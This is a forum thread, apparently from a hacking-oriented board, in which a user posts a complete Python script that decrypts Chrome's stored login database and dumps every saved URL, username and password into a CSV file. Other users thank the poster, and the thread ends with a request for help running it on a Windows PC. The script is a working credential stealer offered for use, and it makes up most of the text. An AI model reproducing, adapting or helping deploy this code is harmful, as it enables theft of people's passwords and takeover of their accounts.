[bytemafia]

I hate CryptUnprotectData

why?

'cause I got too many errors and I don't like debugging

[Cydom]

cool code, thank you so much

[blackboar]

I remember finding something similar on github and quite perturbed that it was so easy to extract all the passwords and usernames.

[bingiedred]

Just made a simple python script to extract all saved user credential from chrome
It will extract URLs, Usernames and Passwords then save it to a CSV file.

import os
import csv
import json
import shutil
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES

USER_DATA_PATH, LOCAL_STATE_PATH = f"{os.environ['USERPROFILE']}\\AppData\\Local\\Google\\Chrome\\User Data", f"{os.environ['USERPROFILE']}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
TEMP_DB = f"{os.environ['TEMP']}\\justforfun.db"

# Collecting secret key
def secretKey():
    try:
        with open(LOCAL_STATE_PATH, "r") as f:
            local_state = f.read()
            key_text = json.loads(local_state)["os_crypt"]["encrypted_key"]
        key_buffer = base64.b64decode(key_text)[5:]
        key = win32crypt.CryptUnprotectData(key_buffer)[1]
        return key
    except Exception as e:
        print(e)

# Login to db where creds are stored
def login_db(db_path):
    try:
        shutil.copy(db_path, TEMP_DB) # Copy to temp dir, otherwise get permission error
        sql_connection = sqlite3.connect(TEMP_DB)
        return sql_connection
    except Exception as e:
        print(e)

# Decrypt the password
def password_decrypt(secret_key, ciphertext):
    try:
        iv = ciphertext[3:15]
        password_hash = ciphertext[15:-16]
        cipher = AES.new(secret_key, AES.MODE_GCM, iv)
        password = cipher.decrypt(password_hash).decode()
        return password
    except Exception as e:
        print(e)

def main():
    print("Chrome Password Decryptor by bytemafia")
    with open('passwords.csv', mode='w', newline='') as passfile: # Write file
        writer = csv.writer(passfile, delimiter=',')
        writer.writerow(["No      <->      URL      <->      Username      <->      Password"])
        secret_key = secretKey()
        default_folders = ("Profile", "Default")
        data_folders = [data_path for data_path in os.listdir(USER_DATA_PATH) if data_path.startswith(default_folders)]
        for data_folder in data_folders:
            db_path = f"{USER_DATA_PATH}\\{data_folder}\\Login Data" # Chrome db
            con = login_db(db_path)
        if secret_key and con:
            cur = con.cursor()
            cur.execute("select action_url, username_value, password_value from logins")
            for index, data in enumerate(cur.fetchall()):
                url = data[0]
                username = data[1]
                ciphertext = data[2]
                if url != "" and username != "" and ciphertext != "": # To only collect valid entries
                    password = password_decrypt(secret_key, ciphertext)
                    writer.writerow([index, url, username, password])
            print("Completed!")
            con.close()
            os.remove(TEMP_DB)

main()

Install additional modules:

pip install pycryptodomex

Supported OS: Windows 10, Windows 11

how do i apply this to a windows pc for execution?